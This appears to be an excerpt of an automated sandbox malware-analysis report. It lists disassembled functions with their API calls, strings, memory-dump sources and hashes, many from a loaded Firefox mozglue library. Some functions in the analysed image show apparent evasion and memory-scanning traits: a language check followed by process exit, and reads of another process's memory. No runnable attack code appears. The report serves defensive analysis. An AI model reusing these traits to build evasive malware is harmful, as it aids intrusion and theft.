Instruction Fuzzy Hash: 0131C5317482055BFF00AEE68E45BBE7B79AB42715F284034FA10ABE80DB70E50487A1

Function 6C6EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6EF100: LoadLibraryW.KERNEL32(shell32,?,6C75D020), ref: 6C6EF122
Part of subcall function 6C6EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C6EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C6EEDCC
CreateFileW.KERNEL32 ref: 6C6EEE08
free.MOZGLUE(00000000), ref: 6C6EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C6EEE32

Part of subcall function 6C6EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C6EEBB5
Part of subcall function 6C6EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C71D7F3), ref: 6C6EEBC3
Part of subcall function 6C6EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C71D7F3), ref: 6C6EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C6EEDC1

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 76d19f2ec47896308d2776db5df2b03937fbb404865b44109f15529b04a1e0a8
Instruction ID: c494e66ff543232b13d483bbf0d3888f959ee6fcc00f5e0daa9e05cb5c7a4f0c
Opcode Fuzzy Hash: 76d19f2ec47896308d2776db5df2b03937fbb404865b44109f15529b04a1e0a8
Instruction Fuzzy Hash: 4F51C271D0A3088BDB00DF68D9447EEB7F1AF5E318F44842EE8556B740E7316949C7AA

Function 6C75A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C75A565

Part of subcall function 6C75A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75A4BE
Part of subcall function 6C75A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C75A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C75A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C75A6B6

Strings

0, xrefs: 6C75A5FB
z, xrefs: 6C75A6AE

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b3d912347d0ca2d07a9805634e5b2512c20dace7ef169150eee7ffd1cfbcb1e3
Instruction ID: eae0cb38aac88f55c38b097beb614095d9fb769969af92dbb103ee37e16ae24a
Opcode Fuzzy Hash: b3d912347d0ca2d07a9805634e5b2512c20dace7ef169150eee7ffd1cfbcb1e3
Instruction Fuzzy Hash: F74139719097459FC341DF28C080A9BBBE5FF89354F908A3EF49987690EB30D559CB92

Function 6C729420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
__Init_thread_footer.LIBCMT ref: 6C72949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C729459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C72947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C72946B

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 546cef2d82e0c25271ce081f34042847ef7c08fad8040b759843496dc7b6b073
Instruction ID: b044644cc933566f9c9f6e6a8a9b5e1fd395dee59de7f057cf967b5d0a51904d
Opcode Fuzzy Hash: 546cef2d82e0c25271ce081f34042847ef7c08fad8040b759843496dc7b6b073
Instruction Fuzzy Hash: 9701FC70A0420187DB109B6FDF29B663775EB05329F080537DD2686F41D635D6548957

Function 00416210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214
ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6C6EB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB6AC

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C6EB61E), ref: 6C6EB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C6EB61E,?,?,?,?,?,00000000), ref: 6C6EB79A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 900422bf38031eae9eee6d391b37f19b194e364c37059c2908d7337a192f9d7a
Instruction ID: 0c7f2c27d783fbe7e529eb285f3c99602e3bed5ba4e4ad14adaea507530efb6a
Opcode Fuzzy Hash: 900422bf38031eae9eee6d391b37f19b194e364c37059c2908d7337a192f9d7a
Instruction Fuzzy Hash: D041F9B2D052159FCB00DF69DC846AFB7B5FF88324F25062AE825E7780E731A91087D9

Function 6C75B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C75B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C75B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C75B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C75B5F4
__Init_thread_footer.LIBCMT ref: 6C75B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C75B61F
std::_Facet_Register.LIBCPMT ref: 6C75B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C75B655

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 5b7ce486fb9dfa81dc2fa7353498a52ee1a9bfca3cd63a0fbba983d575ca314d
Instruction ID: b88ffd2891f3762f859eb70ca8d89fb74ccf6f85e17a00e51cd2454f52accd7f
Opcode Fuzzy Hash: 5b7ce486fb9dfa81dc2fa7353498a52ee1a9bfca3cd63a0fbba983d575ca314d
Instruction Fuzzy Hash: 1331C172B002148BCB00DB6AC9999BEB7B5FF8A324B540579E90297780DB30B916CF91

Function 6C726590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C71FA80: GetCurrentThreadId.KERNEL32 ref: 6C71FA8D
Part of subcall function 6C71FA80: AcquireSRWLockExclusive.KERNEL32(6C76F448), ref: 6C71FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C726727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C7267C8

Part of subcall function 6C734290: memcpy.VCRUNTIME140(?,?,6C742003,6C740AD9,?,6C740AD9,00000000,?,6C740AD9,?,00000004,?,6C741A62,?,6C742003,?), ref: 6C7342C4

Strings

data, xrefs: 6C726593
vvl, xrefs: 6C72696C

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vvl
API String ID: 511789754-1877236272
Opcode ID: 11dc36ead624d9fb43c9f35031fb9f266d9e407ae6dab35e191f76cac4409d73
Instruction ID: 53f16c64593f6209cc8295e73f1bce5810bd14944ac358d85c27a328c887856b
Opcode Fuzzy Hash: 11dc36ead624d9fb43c9f35031fb9f266d9e407ae6dab35e191f76cac4409d73
Instruction Fuzzy Hash: 99D1E171A083408FD724CF25CA49B9EB7E2BFD5308F14892ED489C7B91DB35A909CB52

Function 6C71D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C6EEB57,?,?,?,?,?,?,?,?,?), ref: 6C71D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6EEB57,?), ref: 6C71D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C6EEB57,?), ref: 6C71D673
free.MOZGLUE(?), ref: 6C71D888

Strings

|Enabled, xrefs: 6C71D81E
Wnl, xrefs: 6C71D5D9, 6C71D63F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wnl$|Enabled
API String ID: 4142949111-518007331
Opcode ID: efd3b5044ae9ab23951a0ae355357e07602b61d8ad7ba70bb733821173d0937c
Instruction ID: e5b5cf5acefa265614eefb19136ca41e3e454209a0cc2d058d261c62261d0a8f
Opcode Fuzzy Hash: efd3b5044ae9ab23951a0ae355357e07602b61d8ad7ba70bb733821173d0937c
Instruction Fuzzy Hash: 07A128B0A083048FDB12CF69C5C47AEBBF1AF59318F18806DD8996BB41C731A945CFA5

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004169BF
??_U@YAPAXI@Z.MSVCRT ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

@, xrefs: 00416A46
:lA, xrefs: 00416A18, 00416A1B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6C731D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C731D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C731BE3,?,?,6C731D96,00000000), ref: 6C731D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C731BE3,?,?,6C731D96,00000000), ref: 6C731D4C
GetCurrentThreadId.KERNEL32 ref: 6C731DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C731DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C731DDA

Part of subcall function 6C731EF0: GetCurrentThreadId.KERNEL32 ref: 6C731F03
Part of subcall function 6C731EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C731DF2,00000000,00000000), ref: 6C731F0C
Part of subcall function 6C731EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C731F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C731DF4

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b43602b3744204e4c23dd89ec80026d4bf8b870ec7e50ca5f88149d194fdad49
Instruction ID: 0d8d717fcac126985efdeaf49f652242238b11c8c4776963239066ccd3871926
Opcode Fuzzy Hash: b43602b3744204e4c23dd89ec80026d4bf8b870ec7e50ca5f88149d194fdad49
Instruction Fuzzy Hash: FA4188B52007049FCB10CF29C589A66BBF9FF8A314F10442EE99A87B42CB31F854CB90

Function 6C7284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C72850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C72851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C72855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C72856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7285AC

Part of subcall function 6C727670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C72767F
Part of subcall function 6C727670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C727693
Part of subcall function 6C727670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7285B2

Part of subcall function 6C705E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C705EDB
Part of subcall function 6C705E90: memset.VCRUNTIME140(ewtl,000000E5,?), ref: 6C705F27
Part of subcall function 6C705E90: LeaveCriticalSection.KERNEL32(?), ref: 6C705FB2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ccad8fb2bbaaa58ea741768f8af2a38a2c1a634a3dd37838794d85163bb20249
Instruction ID: 43311e9f98485eb8191fde21d480d1f09770cbd123751dab0658bc27ee754c95
Opcode Fuzzy Hash: ccad8fb2bbaaa58ea741768f8af2a38a2c1a634a3dd37838794d85163bb20249
Instruction Fuzzy Hash: CE21AD712007018FDB14DB26C988A6AB7B5BF8430DF24083DE59BC7B41DB3AE948CB51

Function 6C6F1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6F1699
VerSetConditionMask.NTDLL ref: 6C6F16CB
VerSetConditionMask.NTDLL ref: 6C6F16D7
VerSetConditionMask.NTDLL ref: 6C6F16DE
VerSetConditionMask.NTDLL ref: 6C6F16E5
VerSetConditionMask.NTDLL ref: 6C6F16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6F16F9

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2c35285606f9cf4cfa601ff12bbbb2205b657d0e8fbb01fefc37ee8819f5a696
Instruction ID: 74646751dec425acbd6d4c8806cecedc92bd04c92099d4d89db7239657b7cc7b
Opcode Fuzzy Hash: 2c35285606f9cf4cfa601ff12bbbb2205b657d0e8fbb01fefc37ee8819f5a696
Instruction Fuzzy Hash: 5E2102F07403086FEB116A65CC89FFFB37CEF96704F404528F6049B680CA74AD548AA1

Function 6C72F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C71CBE8: GetCurrentProcess.KERNEL32(?,6C6E31A7), ref: 6C71CBF1
Part of subcall function 6C71CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6E31A7), ref: 6C71CBFA

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C72F598), ref: 6C72F621

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

GetCurrentThreadId.KERNEL32 ref: 6C72F637
AcquireSRWLockExclusive.KERNEL32(6C76F4B8,?,?,00000000,?,6C72F598), ref: 6C72F645
